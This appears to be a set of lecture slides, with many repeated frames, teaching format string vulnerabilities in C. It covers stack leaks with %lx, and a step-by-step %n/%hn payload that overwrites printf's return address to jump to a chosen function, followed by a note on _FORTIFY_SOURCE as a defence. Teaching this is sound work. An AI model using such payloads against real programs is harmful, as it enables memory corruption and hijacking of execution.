## format string exploits

```
printf("The␣command␣you␣entered␣");
printf(command);
printf("was␣not␣recognized.\n");
```

## format string exploits

```
printf("The␣command␣you␣entered␣");
printf(command);
printf("was␣not␣recognized.\n");
```

what if `command` is `%s`?

## viewing the stack

```
$ cat test-format.c
#include <stdio.h>

int main(void) {
    char buffer[100];
    while(fgets(buffer, sizeof buffer, stdin)) {
        printf(buffer);
    }
}
$ ./test-format.exe
%016lx %016lx %016lx %016lx %016lx %016lx %016lx %016lx
00007fb54d0c6790 786c363130252078 0000000000ac6048 363130252078 6c36
36313025000000000 6c3631302520786c 786c363130252078 20786c3631302520
```

# viewing the stack

```
$ cat test-format.c
#include <stdio.h>

int main(void) {
    char buffer[100];
    while(fgets(buffer, sizeof buffer, stdin)) {
        printf(buffer);
    }
}
$ ./test-format.exe
%016lx %016lx %016lx %016lx %016lx %016lx %016lx %016lx
00007fb54d0c6790 786c363130252078 0000000000ac6048 3631302520786c36
3631302500000000 6c3631302520786c 786c363130252078 20786c3631302520
```

25 30 31 36 6c 78 20 is ASCII for %016lx␣

## viewing the stack

```
$ cat test-format.c
#include <stdio.h>

int main(void) {
    char buffer[100];
    while(fgets(buffer, sizeof buffer, stdin)) {
        printf(buffer);
    }
}
$ ./test-format.exe
%016lx %016lx %016lx %016lx %016lx %016lx %016lx %016lx
00007fb54d0c6790 786c363130252078 00000000000ac6048 363130252078 6c36
3631302500000000 6c3631302520786c 786c363130252078 20786c363130252 0
```

second argument to printf: %rsi

## viewing the stack

```
$ cat test-format.c
#include <stdio.h>

int main(void) {
    char buffer[100];
    while(fgets(buffer, sizeof buffer, stdin)) {
        printf(buffer);
```

third through fifth argument to `printf`: %rdx, %rcx, %r8, %r9

```
}
$ ./test-format.exe
%016lx %016lx %016lx %016lx %016lx %016lx %016lx %016lx
00007fb54d0c6790 786c363130252078 0000000000ac6048 3631302520786c36
3631302500000000 6c3631302520786c 786c363130252078 20786c3631302520
```

# viewing the stack

```
$ cat test-format.c
#include <stdio.h>

int main(void) {
    char buffer[100];
    while(fgets(buffer, sizeof buffer, stdin)) {
        printf(buffer);
    }
}
$ ./test-format.exe
%016lx %016lx %016lx %016lx %016lx %016lx %016lx %016lx
00007fb54d0c6790 786c363130252078 0000000000ac6048 3631302520786c36
3631302500000000 6c3631302520786c 786c363130252078 20786c3631302520
```

16 bytes of stack after return address

## printf manpage

For `%n`:

> The number of characters written so far is *stored into the integer pointed to by the corresponding argument*. That argument shall be an `int *`, or variant whose size matches the (optionally) supplied integer length modifier.

## printf manpage

For %n:

> The number of characters written so far is *stored into the integer pointed to by the corresponding argument*. That argument shall be an `int *`, or variant whose size matches the (optionally) supplied integer length modifier.

%hn — expect `short *` instead of `int *`

## format string exploit: setup

```
#include <stdlib.h>
#include <stdio.h>

/* goal: get this function to run */
int exploited() {
    printf("Got␣here!\n");
    exit(0);
}

int main(void) {
    char buffer[100];
    while (fgets(buffer, sizeof buffer, stdin)) {
        printf(buffer);
    }
}
```

# format string exploit

can use `%n` to write **arbitrary values to arbitrary memory addresses**

later: we'll talk about a bunch of ways of use this to execute code

for now: overwrite return address from printf

using debugger: I determine printf's return address is on stack at `0x7fffffffecf8`

want to write address of exploited `0x401156`

## stack layout

| | |
|---|---|
| printf return address | |
| printf argument 7/buffer start | byte 0-7 of buffer |
| printf argument 8 | byte 8-15 of buffer |
| printf argument 9 | byte 16-23 of buffer |
| printf argument 10 | byte 24-31 of buffer |
| printf argument 11 | byte 32-39 of buffer |
| ... | ... |

## stack layout

| | |
|---|---|
| printf return address | |
| printf argument 7/buffer start | byte 0-7 of buffer |
| printf argument 8 | byte 8-15 of buffer |
| printf argument 9 | byte 16-23 of buffer |
| printf argument 10 | byte 24-31 of buffer |
| printf argument 11 | byte 32-39 of buffer |
| ... | ... |

strategy: fit format string within bytes 0-31 of buffer

...and use bytes 32-39 to hold pointer to return address

...and have first 9 items in format string write `0x401156` bytes

...and use %n as 10th item (pointer to overwrite target)

## stack layout

| | |
|---|---|
| printf return address | |
| printf argument 7/buffer start | byte 0-7 of buffer |
| printf argument 8 | byte 8-15 of buffer |
| printf argument 9 | byte 16-23 of buffer |
| printf argument 10 | byte 24-31 of buffer |
| printf argument 11 | byte 32-39 of buffer |
| … | … |

strategy: fit format string within bytes 0-31 of buffer

…and use bytes 32-39 to hold pointer to return address

…and have first 9 items in format string write `0x401156` bytes

…and use %n as 10th item (pointer to overwrite target)

## exploit

| | |
|---|---|
| printf return address | |
| printf argument 7/buffer start | `"%.419873"` |
| printf argument 8 | `"4u%c%c%c"` |
| printf argument 9 | `"%c%c%c%c"` |
| printf argument 10 | `"%c%ln..."` |
| printf argument 11 | target `0x7ffffffecf8` |
| ... | ... |

## exploit

| | |
|---|---|
| printf return address | |
| printf argument 7/buffer start | `"%.419873"` |
| printf argument 8 | `"4u%c%c%c"` |
| printf argument 9 | `"%c%c%c%c"` |
| printf argument 10 | `"%c%ln..."` |
| printf argument 11 | target `0x7fffffffecf8` |
| ... | ... |

write unsigned number with 4198734 digits of percision
result: %rsi (printf arg 2) output
padded to 4198734 digits with zeroes

## exploit

| | |
|---|---|
| printf return address | |
| printf argument 7/buffer start | `"%.419873"` |
| printf argument 8 | `"4u%c%c%c"` |
| printf argument 9 | `"%c%c%c%c"` |
| printf argument 10 | `"%c%ln..."` |
| printf argument 11 | target `0x7fffffffecf8` |
| ... | ... |

one char (byte) based on printf args 3, 4, 5, 6 (%rdx, %rcx, %r8, %r9)

# exploit

|  |  |
|---|---|
| printf return address | |
| *printf argument 7*/buffer start | `"%.419873"` |
| *printf argument 8* | `"4u%c%c%c"` |
| *printf argument 9* | `"%c%c%c%c"` |
| *printf argument 10* | `"%c%ln..."` |
| printf argument 11 | target `0x7fffffffecf8` |
| ... | ... |

one char (byte) based on printf args 7, 8, 9, 10 (stack locations)

## exploit

| | |
|---|---|
| printf return address | |
| printf argument 7/buffer start | `"%.419873"` |
| printf argument 8 | `"4u%c%c%c"` |
| printf argument 9 | `"%c%c%c%c"` |
| printf argument 10 | `"%c%ln..."` |
| *printf argument 11* | target `0x7fffffffecf8` |
| ... | ... |

store number of bytes printed into printf arg 11
`l` indicates that it a long (not int)
total bytes = 4198734 (%u) + 8 (%c × 8) = 0x401156

## exploit

| | |
|---|---|
| printf return address | |
| printf argument 7/buffer start | `"%.419873"` |
| printf argument 8 | `"4u%c%c%c"` |
| printf argument 9 | `"%c%c%c%c"` |
| printf argument 10 | `"%c%ln..."` |
| printf argument 11 | target `0x7fffffffecf8` |
| … | … |

extra data just to ensure the target address is positioned correctly

## format string exploit

what if number is too big? write in pieces, example:

0x0040 (byte 2-3, first written), 0x1156 (byte 0-1, second written)

| | |
|---|---|
| printf return address | |
| printf argument 7/buffer start | `"%c%c%c%c"` |
| printf argument 8 | `"%c%c%c%c"` |
| printf argument 9 | `"%c%.55u%"` |
| printf argument 10 | `"hn%.4374"` |
| printf argument 11 | `"u%hn...."` |
| printf argument 12 | target byte 2 `0x7fffffffecfa` |
| printf argument 13 | for %u |
| printf argument 14 | target byte 0 `0x7fffffffecf8` |
| … | … |

# format string exploit

what if number is too big? write in pieces, example:

0x0040 (byte 2-3, first written), 0x1156 (byte 0-1, second written)

| | |
|---|---|
| printf return address | |
| printf argument 7/buffer start | `"%c%c%c%c"` |
| printf argument 8 | `"%c%c%c%c"` |
| printf argument 9 | `"%c%.55u%"` |
| printf argument 10 | `"hn%.4374"` |
| printf argument 11 | `"u%hn...."` |
| printf argument 12 | target byte 2 `0x7fffffffecfa` |
| printf argument 13 | for %u |
| printf argument 14 | target byte 0 `0x7fffffffecf8` |
| … | … |

# format string exploit

what if number is too big? write in pieces, example:

0x0040 (byte 2-3, first written), 0x1156 (byte 0-1, second written)

| | |
|---|---|
| printf return address | |
| printf argument 7/buffer start | `"%c%c%c%c"` |
| printf argument 8 | `"%c%c%c%c"` |
| printf argument 9 | `"%c%.55u%"` |
| printf argument 10 | `"hn%.4374"` |
| printf argument 11 | `"u%hn...."` |
| printf argument 12 | target byte 2 `0x7fffffffecfa` |
| printf argument 13 | for %u |
| printf argument 14 | target byte 0 `0x7fffffffecf8` |
| … | … |

# format string exploit

what if number is too big? write in pieces, example:

0x0040 (byte 2-3, first written), 0x1156 (byte 0-1, second written)

| | |
|---|---|
| printf return address | |
| *printf argument 7*/buffer start | `"%c%c%c%c"` |
| *printf argument 8* | `"%c%c%c%c"` |
| *printf argument 9* | `"%c%.55u%"` |
| *printf argument 10* | `"hn%.4374"` |
| *printf argument 11* | `"u%hn...."` |
| printf argument 12 | target byte 2 `0x7fffffffecfa` |
| printf argument 13 | for %u |
| printf argument 14 | target byte 0 `0x7fffffffecf8` |
| … | … |

# format string exploit

what if number is too big? write in pieces, example:

0x0040 (byte 2-3, first written), 0x1156 (byte 0-1, second written)

| | |
|---|---|
| printf return address | |
| printf argument 7/buffer start | `"%c%c%c%c"` |
| printf argument 8 | `"%c%c%c%c"` |
| printf argument 9 | `"%c%.55u%"` |
| printf argument 10 | `"hn%.4374"` |
| printf argument 11 | `"u%hn...."` |
| *printf argument 12* | target byte 2 `0x7fffffffecfa` |
| printf argument 13 | for %u |
| *printf argument 14* | target byte 0 `0x7fffffffecf8` |
| … | … |

# format string exploit

what if number is too big? write in pieces, example:

0x0040 (byte 2-3, first written), 0x1156 (byte 0-1, second written)

| | |
|---|---|
| printf return address | |
| printf argument 7/buffer start | `"%c%c%c%c"` |
| printf argument 8 | `"%c%c%c%c"` |
| printf argument 9 | `"%c%.55u%"` |
| printf argument 10 | `"hn%.4374"` |
| printf argument 11 | `"u%hn...."` |
| printf argument 12 | target byte 2 `0x7fffffffecfa` |
| *printf argument 13* | for %u |
| printf argument 14 | target byte 0 `0x7fffffffecf8` |
| … | … |

# format string exploit

what if number is too big? write in pieces, example:

0x0040 (byte 2-3, first written), 0x1156 (byte 0-1, second written)

| | |
|---|---|
| printf return address | |
| printf argument 7/buffer start | `"%c%c%c%c"` |
| printf argument 8 | `"%c%c%c%c"` |
| printf argument 9 | `"%c%.55u%"` |
| printf argument 10 | `"hn%.4374"` |
| printf argument 11 | `"u%hn...."` |
| printf argument 12 | target byte 2 `0x7fffffffecfa` |
| printf argument 13 | for %u |
| printf argument 14 | target byte 0 `0x7fffffffecf8` |
| … | … |

## stopping format string exploits

modern Linux: disables format string exploits by default:

set C library #define `_FORITFY_SOURCE` to 2 to...

makes printf disallow %n if format string in writable memory

(also adds some bounds checking to certain C library functions)

## backup slides